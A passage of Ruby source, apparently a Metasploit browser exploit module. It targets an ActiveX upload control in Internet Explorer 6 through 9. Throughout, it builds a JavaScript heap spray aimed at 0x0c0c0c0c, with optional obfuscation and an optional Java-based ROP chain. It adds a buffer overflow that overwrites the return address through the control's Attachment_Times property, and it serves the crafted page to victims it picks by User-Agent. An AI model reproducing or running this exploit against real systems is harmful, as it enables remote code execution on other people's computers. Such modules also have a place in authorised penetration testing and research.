targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|
else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
bof = rand_text_alpha(512) # offset to eip"
bof << [my_target.ret].pack("V")
if my_target['Rop']
bof << rand_text_alpha(4)
bof << [0x0c0c0c0c].pack("V") # new stack
end
my_bof = Rex::Text.to_unescape(bof)
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object id="UploadControl" width="100%" height="100%" classid="clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0">
<param name="General_Mode" value="1">
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
</object>
<script>
var bof = unescape("#{my_bof}");
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
my_time += bof;
my_time += " GMT";
UploadControl.Attachment_Times = my_time;
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end